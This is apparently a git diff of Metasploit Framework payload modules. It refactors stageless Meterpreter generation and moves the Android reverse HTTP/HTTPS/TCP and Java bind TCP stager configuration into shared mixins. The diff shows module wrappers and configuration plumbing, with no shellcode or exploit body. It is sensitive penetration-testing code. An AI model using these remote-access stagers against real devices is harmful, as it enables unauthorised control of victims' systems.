@@ -41,8 +41,9 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
||||
@@ -40,8 +40,9 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
||||
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1189423
|
||||
CachedSize = 1189935
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
@@ -40,8 +40,9 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
||||
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1190467
|
||||
CachedSize = 1190979
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
@@ -40,13 +40,13 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1190467
|
||||
CachedSize = 1190979
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
@@ -40,13 +40,13 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1189423
|
||||
CachedSize = 1189935
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
@@ -41,8 +41,9 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
||||
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1189423
|
||||
CachedSize = 1189935
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
@@ -40,8 +40,9 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/android/reverse_http'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module MetasploitModule
|
||||
@@ -13,7 +14,7 @@ module MetasploitModule
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Android::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
@@ -24,21 +25,8 @@ module MetasploitModule
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
def generate_config_bytes(opts={})
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/android/reverse_https'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module MetasploitModule
|
||||
@@ -13,7 +14,7 @@ module MetasploitModule
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Android::ReverseHttps
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
@@ -24,21 +25,8 @@ module MetasploitModule
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
def generate_config_bytes(opts={})
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -3,40 +3,29 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit-payloads'
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'msf/core/payload/android/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Android::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Android Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => ['timwr', 'OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
'Name' => 'Android Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -5,58 +5,27 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'msf/core/payload/java/bind_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 5105
|
||||
CachedSize = 5118
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::Java::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@class_files = [ ]
|
||||
'Name' => 'Java Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def config
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = datastore["AESPassword"] || ""
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
@class_files = [
|
||||
[ "metasploit", "AESEncryption.class" ],
|
||||
]
|
||||
else
|
||||
@class_files = [ ]
|
||||
end
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user